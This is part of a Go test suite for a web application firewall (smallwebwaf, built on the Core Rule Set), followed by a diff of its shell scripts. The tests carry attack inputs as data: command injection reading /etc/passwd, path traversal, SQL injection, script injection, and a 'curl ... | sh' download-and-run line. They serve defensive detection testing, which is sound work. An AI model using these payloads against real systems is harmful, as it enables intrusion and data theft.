crs := atDefaults(t)
for _, value := range []struct {
name string
// result is what a parameter that is not one of gitea's gets.
result waf.Result
}{
// A file on the list of system files.
{".gitignore", matched(930120)},
// A command's name, after a directory on the list of shell paths.
{"bin/docker-entrypoint", matched(932260, 932160)},
} {
for _, parameter := range []string{
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
"artifactName", "redirect_to",
} {
wantChange(t, crs, get("/?"+parameter+"="+value.name),
get("/?q="+value.name), value.result)
}
}
// What only those rules refuse gets through there too, but path
// traversal and SQL injection are still refused.
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160))
wantResult(t, crs, get("/?path=../../etc/passwd"),
waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
t.Parallel()
const (
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
)
crs := atDefaults(t)
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
// Among other cookies, which are read.
wantChange(t, crs,
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
"; i_like_gitea=abc"),
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
"; i_like_gitea=abc"),
matched(930120))
}
func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
t.Parallel()
const (
search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java"
)
crs := atDefaults(t)
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
matched(932340))
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110))
// It is still checked for script and SQL injection.
wantResult(t, crs,
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
matched(941110, 941160))
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
matched(942100))
}
func TestEmptyHeaderIsRead(t *testing.T) {
t.Parallel()
// An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
waf.Result{RuleIDs: []int{920330}, Score: 2})
}
func TestParanoiaLevel(t *testing.T) {
t.Parallel()
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
t.Parallel()
// A method not allowed, and a Host that is an IP address, a warning,
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r,
waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
}
// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
formData = "Content-Type: application/x-www-form-urlencoded"
multipart = "Content-Type: multipart/form-data; boundary=b"
jsonBody = "Content-Type: application/json"
xmlBody = "Content-Type: application/xml"
)
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// readingBodies returns the Core Rule Set as smallwebwaf runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
}
// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
value + "\r\n"
}
// end ends a multipart body.
const end = "--b--\r\n"
// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}
// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result,
read string,
) {
t.Helper()
got, gotRead := inspectBody(t, crs, r, body)
if !reflect.DeepEqual(got, want) || gotRead != read {
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
want, len(read))
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "q=" + url.QueryEscape(injection)},
{multipart, field("q", injection) + end},
{jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"},
} {
wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
}
}
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
"pad=" + pad + "&q=" + url.QueryEscape(injection),
},
{
multipart, field("q", injection) + field("pad", pad) + end,
field("pad", pad) + field("q", injection) + end,
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{},
tc.attackLast[:bodyLimit+1])
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit)
}
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ header, head, tail string }{
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger)
}
}
func TestOtherBodiesAreNotRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// Read as form data, which the Core Rule Set does with a body of a type
// it does not know, this would be an SQL injection.
body := "q=" + url.QueryEscape(injection)
for _, header := range []string{
"Content-Type: application/octet-stream",
"Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request",
} {
wantBody(t, crs, post(header), body, waf.Result{}, "")
}
}
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
const gzip = "Content-Encoding: gzip"
crs := readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "a=1"},
{multipart, field("a", "1") + end},
{jsonBody, `{"a":1}`},
{xmlBody, "<a>1</a>"},
} {
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
}
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
// body is read.
fetch := "Content-Type: application/x-git-upload-pack-request"
wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "")
wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "")
}
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
local := url.QueryEscape("http://127.0.0.1:52341/")
for _, tc := range []struct {
body string
want waf.Result
}{
{"path=.gitignore", waf.Result{}},
{"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, waf.Result{}},
{"next=" + local, matched(931100, 934110)},
} {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
}
body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, waf.Result{}, body)
body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body)
// A JSON body's field is named by its path, here json.path, and is
// checked.
body = `{"path":".gitignore"}`
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A comment that shows a shell command.
const text = "Try `curl -s https://example.org | sh` first."
comment := "content=" + url.QueryEscape(text)
wantBody(t, crs, post(formData), comment, matched(932235), comment)
// An attachment named like a log file.
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ contentType, body string }{
{"application/atom+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
{"text/json", `{"q":"` + injection + `"}`},
} {
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
matched(942100), tc.body)
}
}
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// An end tag after the root element, past which Coraza reads none of
// the body, while an app may still read the attack before it.
body := "<q>" + injection + "</q></r>"
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
// The multipart bodies Coraza cannot parse fail its strict checks too:
// one whose type names its boundary twice, and one with a part header
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
{multipart, noColon},
} {
body = tc.head + field("q", injection) + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
t.Parallel()
// The limit falls in the middle of the name of the second part's
// header, which Coraza, reading up to the limit, cannot tell from a
// header without a colon.
cut := "--b\r\nContent-Di"
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
// The limit falls between the carriage return and the line feed that
// end the second part's header line, and then between those that end
// the empty line after it. Coraza, reading up to the limit, takes the
// line ending in a lone carriage return for a malformed header.
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
// The system's temporary directory is one that does not exist, so that
// Coraza could write nothing there: built without no_fs_access, it
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
}
}
script/build
+2 -2
View File
@@ -1,7 +1,7 @@
#!/bin/sh
# script/build: build bin/smallwebwaf on the host, with Go installed, for
# working on the code by hand. The version it reports comes from git, as
# in script/docker, and the no_fs_access tag is the Dockerfile's.
# in script/docker.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -11,7 +11,7 @@ main() {
cd "$ROOT"
version="$(git describe --tags --always --dirty 2>/dev/null || true)"
[ -n "$version" ] || version="unknown"
go build -tags no_fs_access -trimpath -ldflags "-X main.Version=$version" \
go build -trimpath -ldflags "-X main.Version=$version" \
-o bin/smallwebwaf ./cmd/smallwebwaf
}
script/example-app
+6 -49
View File
@@ -5,15 +5,12 @@
# served through smallwebwaf, that a second one in a minute bans the
# client, that a probe for /.env bans another client, which its next
# request bans for good, that `sv stop` stops smallwebwaf in order, that
# `docker stop` stops the container without having to kill it, that a
# new container on the same volume still refuses the banned client, that
# a container with its state files on a new volume mounted at the
# directory SWWAF_STATE_DIR_FILE names becomes healthy, and that one whose
# SWWAF_STATE_DIR does not exist logs smallwebwaf's message about it. The
# `docker stop` stops the container without having to kill it, and that
# a new container on the same volume still refuses the banned client. The
# containers run with SWWAF_LOOKUP_SOURCE=off, so that no address is sent
# to GeoJS. The containers, the volumes and both images are removed
# however the script ends. Building the app needs network access, for
# nixpkgs' binary cache. script/check does not run this.
# to GeoJS. The containers, the volume and both images are removed however
# the script ends. Building the app needs network access, for nixpkgs'
# binary cache. script/check does not run this.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -26,15 +23,10 @@ IMAGE="$NAME-base"
APP_IMAGE="$NAME-app"
CONTAINER="$NAME"
VOLUME="$NAME-state"
# The volumes of the container whose state directory SWWAF_STATE_DIR_FILE
# names: its state files, and the file that names their directory.
MOVED_VOLUME="$NAME-moved-state"
SETTINGS_VOLUME="$NAME-settings"
cleanup() {
docker rm --force "$CONTAINER" >/dev/null 2>&1 || true
docker volume rm --force "$VOLUME" "$MOVED_VOLUME" "$SETTINGS_VOLUME" \
>/dev/null 2>&1 || true
docker volume rm --force "$VOLUME" >/dev/null 2>&1 || true
docker rmi --force "$APP_IMAGE" "$IMAGE" >/dev/null 2>&1 || true
}
@@ -84,27 +76,6 @@ start_container() {
address="$(docker port "$CONTAINER" 8080/tcp)"
}
# start_moved_container: run the app's container with the state files on
# a new volume at /srv/state, which SWWAF_STATE_DIR_FILE names in a file
# only the smallwebwaf user can read, as under "Settings given as files"
# in docs/settings.md, and wait until it is healthy. smallwebwaf can write the
# new volume only once the run script has given it to that user.
start_moved_container() {
docker volume create "$MOVED_VOLUME" >/dev/null
docker volume create "$SETTINGS_VOLUME" >/dev/null
docker run --rm --volume "$SETTINGS_VOLUME:/settings" \
--entrypoint bash "$IMAGE" -c 'echo /srv/state > /settings/state-dir &&
chown smallwebwaf:smallwebwaf /settings/state-dir &&
chmod 0400 /settings/state-dir'
docker run --detach --name "$CONTAINER" \
--volume "$MOVED_VOLUME:/srv/state" \
--volume "$SETTINGS_VOLUME:/etc/smallwebwaf/settings:ro" \
--env SWWAF_STATE_DIR_FILE=/etc/smallwebwaf/settings/state-dir \
--env SWWAF_LOOKUP_SOURCE=off \
"$APP_IMAGE" >/dev/null
wait_for "the health check did not pass" healthy
}
# refused: a request to the container gets 403, SWWAF_BAN_RESPONSE's
# default.
refused() {
@@ -169,20 +140,6 @@ main() {
wait_for "smallwebwaf logged no request refused under the ban" \
logged '"action":"banned"'
echo "example-app: a new container on the same volume keeps the ban"
docker rm --force "$CONTAINER" >/dev/null
start_moved_container
echo "example-app: the run script gives the state files' directory named" \
"by SWWAF_STATE_DIR_FILE to the smallwebwaf user"
docker rm --force "$CONTAINER" >/dev/null
docker run --detach --name "$CONTAINER" \
--env SWWAF_STATE_DIR=/srv/missing \
--env SWWAF_LOOKUP_SOURCE=off \
"$APP_IMAGE" >/dev/null
wait_for "smallwebwaf did not report the missing state directory" \
logged "SWWAF_STATE_DIR cannot be written"
echo "example-app: smallwebwaf reports a state directory that does not exist"
}
main "$@"
script/gitea-requests
-336
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@@ -1,336 +0,0 @@
#!/bin/sh
# script/gitea-requests: build the image and run gitea 1.27.3 behind it,
# with every setting of smallwebwaf at its default but SWWAF_UPSTREAM_URL,
# which names gitea's container. Then send through it the gitea requests
# that reading gitea's source found the Core Rule Set refuses, which
# docs/gitea.md records, and a short sample of gitea's ordinary use:
# signing in, pages of files and commits, a diff, the API, a push, clone
# and fetch over HTTP, and two container image pushes. Last, print each
# request smallwebwaf logged, with what it did with it and the ids of the
# Core Rule Set's rules that matched it.
# Every request comes from one client, docker's gateway, so more than
# SWWAF_ERROR_BURST_THRESHOLD, 30, refusals in a minute would ban it, and
# the requests after would show as banned. The containers, the network,
# the images and the files the script makes are removed however it ends;
# gitea's own image stays, as the base images of a build do. It needs
# network access, and a docker daemon that pushes to a registry on
# localhost over plain HTTP, as docker does by default. script/check does
# not run this.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
# gitea 1.27.3, 2026-08-29
GITEA_IMAGE="gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef"
# Named after this run, so that runs in other clones on the same host
# never touch each other's.
NAME="$("$SCRIPT_DIR/projectname")-gitea-$$"
IMAGE="$NAME-image"
NETWORK="$NAME"
SMALLWEBWAF="$NAME-smallwebwaf"
GITEA="$NAME-gitea"
# gitea's one user, who owns the repository and the container images.
PASSWORD="owner-password"
BROWSER="Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0"
# The files the script makes, and smallwebwaf's address once it runs,
# localhost and the port docker publishes it on: a host name, since the
# Core Rule Set takes a Host that is an IP address for a warning (920350).
WORK=""
address=""
cleanup() {
# So that a signal cannot stop it partway through.
trap '' HUP INT TERM
docker rm --force --volumes "$SMALLWEBWAF" "$GITEA" >/dev/null 2>&1 || true
docker network rm "$NETWORK" >/dev/null 2>&1 || true
docker rmi --force "$IMAGE" >/dev/null 2>&1 || true
if [ -n "$address" ]; then
docker rmi --force "$address/owner/python3-app:1" "$address/owner/app:1" \
>/dev/null 2>&1 || true
fi
rm -rf "$WORK"
}
fail() {
echo "gitea-requests: $*" >&2
report
exit 1
}
# wait_for <what fails> <command>...: run the command every second until
# it succeeds, for at most a minute.
wait_for() {
failure="$1"
shift
tries=0
until "$@"; do
tries=$((tries + 1))
[ "$tries" -lt 60 ] || fail "$failure"
sleep 1
done
}
healthy() {
status="$(docker inspect --format '{{.State.Health.Status}}' "$SMALLWEBWAF")"
[ "$status" = healthy ]
}
# logged <text>...: a line of smallwebwaf's output holds every text, in
# any order.
logged() {
lines="$(docker logs "$SMALLWEBWAF" 2>&1)"
for text in "$@"; do
lines="$(printf '%s\n' "$lines" | grep -F "$text")" || return 1
done
}
# send <label> <path> <curl option>...: send a request for path to
# smallwebwaf, with label as its X-Request-ID, which the report gives,
# and keep the body of the answer in $WORK/answer. The Core Rule Set
# reads that header too, so a label names no file the cases name.
send() {
label="$1"
path="$2"
shift 2
curl --silent --show-error --max-time 30 --output "$WORK/answer" \
--header "X-Request-ID: $label" "$@" "http://$address$path"
}
# page <label> <path> <curl option>...: send the request as a browser
# does, with the cookies gitea has set. Its Referer is the repository's
# page, which links to the others, and never a page the Core Rule Set
# refused: its address would have the next request refused too.
page() {
label="$1"
path="$2"
shift 2
send "$label" "$path" --compressed --user-agent "$BROWSER" \
--header "Accept: text/html,application/xhtml+xml,*/*;q=0.8" \
--header "Accept-Language: en-US,en;q=0.5" \
--cookie "$WORK/cookies" --cookie-jar "$WORK/cookies" \
--referer "http://$address/owner/repo" "$@"
}
# api <label> <path> <curl option>...: send the request as a client of
# gitea's API does, as the owner.
api() {
label="$1"
path="$2"
shift 2
send "$label" "$path" --user "owner:$PASSWORD" \
--header "Accept: application/json" "$@"
}
# repo_git <git argument>...: run git as the owner, without the host's
# own git settings, so that nothing it does is kept outside $WORK.
repo_git() {
GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_NOSYSTEM=1 git \
-c user.name=owner -c user.email=owner@example.invalid "$@"
}
# lines: forty lines of text, enough for a diff to hide some of them.
lines() {
i=1
while [ "$i" -le 40 ]; do
echo "line $i"
i=$((i + 1))
done
}
# make_repository: create the repository owner/repo, holding a file of
# each name the cases name, and push it, which is the push over HTTP of
# the sample. The second commit adds a line at the end of Runtime.java,
# so that its diff hides the lines above.
make_repository() {
status="$(api create-repository /api/v1/user/repos \
--header "Content-Type: application/json" --data '{"name":"repo"}' \
--write-out '%{http_code}')"
[ "$status" = 201 ] || fail "creating the repository was answered $status"
dir="$WORK/repo"
repo_git init --quiet --initial-branch=main "$dir"
for file in \
src/java.base/share/classes/java/lang/Runtime.java \
java.lang.String.md \
META-INF/services/org.apache.commons.logging.LogFactory \
document.write.js \
process.env.d.ts \
test/fixtures/__proto__.json \
install-script.sh \
src/backend/catalog/information_schema.sql \
.../notes.txt \
README.md; do
mkdir -p "$dir/$(dirname "$file")"
lines >"$dir/$file"
repo_git -C "$dir" add "$file"
done
repo_git -C "$dir" commit --quiet --message "Add the files"
echo "line 41" >>"$dir/src/java.base/share/classes/java/lang/Runtime.java"
repo_git -C "$dir" commit --quiet --all --message "Add a line"
repo_git -C "$dir" -c "http.extraHeader=X-Request-ID: git-push" push --quiet \
"http://owner:$PASSWORD@$address/owner/repo.git" main ||
fail "the push of the repository failed"
}
# browse: sign in, then open pages as a person does. The cases are those
# of https://git.eeqj.de/sneak/smallwebwaf/issues/30.
browse() {
# Case: gitea sends a visitor who is not signed in to the sign-in
# page, with the page asked for in redirect_to, when that page needs
# signing in, as a file's edit page does.
page issue-30-case /owner/repo/_edit/main/document.write.js --location
page sign-in /user/login
status="$(page sign-in /user/login --header "Origin: http://$address" \
--data-urlencode user_name=owner --data-urlencode "password=$PASSWORD" \
--write-out '%{http_code}')"
[ "$status" = 303 ] || fail "signing in was answered $status"
page browse /
page browse /owner/repo
page browse /owner/repo/src/branch/main/README.md
page browse /owner/repo/commits/branch/main
page browse "/owner/repo/commit/$(repo_git -C "$WORK/repo" rev-parse HEAD)"
# Case: expanding the lines the diff hides, by the link the diff's
# page gives for it.
excerpt="$(sed -n 's/.*data-fetch-url="\([^"]*blob_excerpt[^"]*\)".*/\1/p' \
"$WORK/answer" | head -n 1 | sed 's/&amp;/\&/g')"
[ -n "$excerpt" ] || fail "the diff's page has no link to its hidden lines"
page issue-30-case "$excerpt"
# Cases: the commit graph of one file, and the pages of files whose
# path the Core Rule Set takes for an attack.
page issue-30-case "/owner/repo/graph?file=src/java.base/share/classes/java/lang/Runtime.java"
page issue-30-case /owner/repo/src/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
page issue-30-case /owner/repo/src/branch/main/java.lang.String.md
page issue-30-case /owner/repo/src/branch/main/process.env.d.ts
page issue-30-case /owner/repo/src/branch/main/.../notes.txt
}
# call_api: the API's calls the cases name: the commits of a file, for a
# file of each name the Core Rule Set takes for an attack in the query
# parameter path, and the file-contents call, which takes its list of
# files as JSON in the query parameter body.
call_api() {
for file in \
src/java.base/share/classes/java/lang/Runtime.java \
java.lang.String.md \
document.write.js \
process.env.d.ts \
test/fixtures/__proto__.json \
install-script.sh \
src/backend/catalog/information_schema.sql; do
api issue-30-case /api/v1/repos/owner/repo/commits --get --data-urlencode "path=$file"
done
api issue-30-case /api/v1/repos/owner/repo/file-contents --get \
--data-urlencode 'body={"files":["src/java.base/share/classes/java/lang/Runtime.java"]}'
}
# push_images: push a container image to owner/python3-app, then the same
# image to owner/app. For the second, the case, docker asks gitea to take
# its layer from owner/python3-app, naming it in the query parameter
# from. docker sends no X-Request-ID, so its requests have the ids
# smallwebwaf gives them. The image is one small file, imported rather
# than built.
push_images() {
echo "$NAME" >"$WORK/layer.txt"
tar -cf - -C "$WORK" layer.txt |
docker import - "$address/owner/python3-app:1" >/dev/null
docker tag "$address/owner/python3-app:1" "$address/owner/app:1"
# The login is written here rather than made with docker login, which
# would keep it in the host's credential helper when it has one.
mkdir "$WORK/docker"
printf '{"auths":{"%s":{"auth":"%s"}}}\n' "$address" \
"$(printf 'owner:%s' "$PASSWORD" | base64)" >"$WORK/docker/config.json"
for image in "$address/owner/python3-app:1" "$address/owner/app:1"; do
DOCKER_CONFIG="$WORK/docker" docker push --quiet "$image" >/dev/null ||
echo "gitea-requests: the push of $image failed" >&2
done
}
# clone_and_fetch: the clone and fetch over HTTP of the sample.
clone_and_fetch() {
repo_git -c "http.extraHeader=X-Request-ID: git-clone" clone --quiet \
"http://owner:$PASSWORD@$address/owner/repo.git" "$WORK/clone" ||
fail "the clone failed"
repo_git -C "$WORK/clone" -c "http.extraHeader=X-Request-ID: git-fetch" fetch --quiet ||
fail "the fetch failed"
}
# field <name> <line>: the text of the field name in line, a line of the
# request log, or nothing when it has none.
field() {
printf '%s\n' "$2" | sed -n "s/.*\"$1\":\"\([^\"]*\)\".*/\1/p"
}
# report: print a line for each request smallwebwaf logged, but its
# health checks: what it did with the request, the ids of the Core Rule
# Set's rules that matched it, its X-Request-ID, and the request.
# waf_blocked is a refusal by the Core Rule Set, and forward a request
# passed on to gitea, whatever gitea answered.
report() {
docker logs "$SMALLWEBWAF" 2>/dev/null | grep '"type":"request"' |
grep -v '"action":"admin"' | sed 's/\\u0026/\&/g' >"$WORK/requests"
while IFS= read -r line; do
ids="$(printf '%s\n' "$line" | sed -n 's/.*"waf_rule_ids":\[\([0-9,]*\)\].*/\1/p')"
query="$(field query "$line")"
printf '%-11s %-13s %-17s %s %s%s\n' "$(field action "$line")" "${ids:--}" \
"$(field request_id "$line")" "$(field method "$line")" \
"$(field path "$line")" "${query:+?$query}"
done <"$WORK/requests"
echo "gitea-requests: $(grep -c . "$WORK/requests") requests," \
"$(grep -c '"action":"waf_blocked"' "$WORK/requests") refused by the Core Rule Set"
}
main() {
cd "$ROOT"
trap cleanup EXIT
trap 'exit 1' HUP INT TERM
WORK="$(mktemp -d)"
docker build --no-cache -t "$IMAGE" .
# smallwebwaf first, so that gitea can be given the address it is
# reached at, and gitea's image pulled before, so that gitea starts
# within the minute smallwebwaf's health check waits for it.
docker pull --quiet "$GITEA_IMAGE" >/dev/null
docker network create "$NETWORK" >/dev/null
docker run --detach --name "$SMALLWEBWAF" --network "$NETWORK" \
--publish 127.0.0.1::8080 \
--env SWWAF_UPSTREAM_URL="http://$GITEA:3000" \
"$IMAGE" >/dev/null
published="$(docker port "$SMALLWEBWAF" 8080/tcp)"
address="localhost:${published##*:}"
docker run --detach --name "$GITEA" --network "$NETWORK" \
--env GITEA__security__INSTALL_LOCK=true \
--env GITEA__server__ROOT_URL="http://$address/" \
"$GITEA_IMAGE" >/dev/null
# smallwebwaf's health check passes once gitea takes connections.
wait_for "the health check did not pass" healthy
docker exec --user git "$GITEA" gitea admin user create --admin \
--username owner --password "$PASSWORD" --email owner@example.invalid \
--must-change-password=false >/dev/null
make_repository
browse
call_api
push_images
clone_and_fetch
# The fetch's last request is the last of all; once it is logged, so
# is every other.
wait_for "smallwebwaf logged no line for the fetch" \
logged '"request_id":"git-fetch"' '"method":"POST"'
report
}
main "$@"
share/smallwebwaf.run
+3 -23
View File
@@ -5,32 +5,12 @@ set -euo pipefail
# exits; the wait spaces out the restarts. The state directory and every
# file in it are given to the smallwebwaf user, so that a volume mounted
# there needs no change of owner; chown -R changes a symbolic link itself,
# never what it points to. When SWWAF_STATE_DIR, in either form, cannot be
# read or is not the absolute path of a directory, no owner is changed,
# and smallwebwaf starts and stops with a message naming the setting. A
# change of owner that fails, as on a volume mounted read-only, does not
# end the script either: smallwebwaf reports a directory it cannot write.
# exec, so that the signal `sv stop` sends reaches smallwebwaf itself.
# never what it points to. exec, so that the signal `sv stop` sends
# reaches smallwebwaf itself.
main() {
sleep 1
local dir
if dir="$(state_dir)" && [[ "$dir" == /* && -d "$dir" ]]; then
chown -R smallwebwaf:smallwebwaf "$dir" || true
fi
chown -R smallwebwaf:smallwebwaf "${SWWAF_STATE_DIR:-/var/lib/smallwebwaf}"
exec chpst -u smallwebwaf:smallwebwaf /usr/local/bin/smallwebwaf
}
# state_dir prints SWWAF_STATE_DIR, /var/lib/smallwebwaf when it is unset,
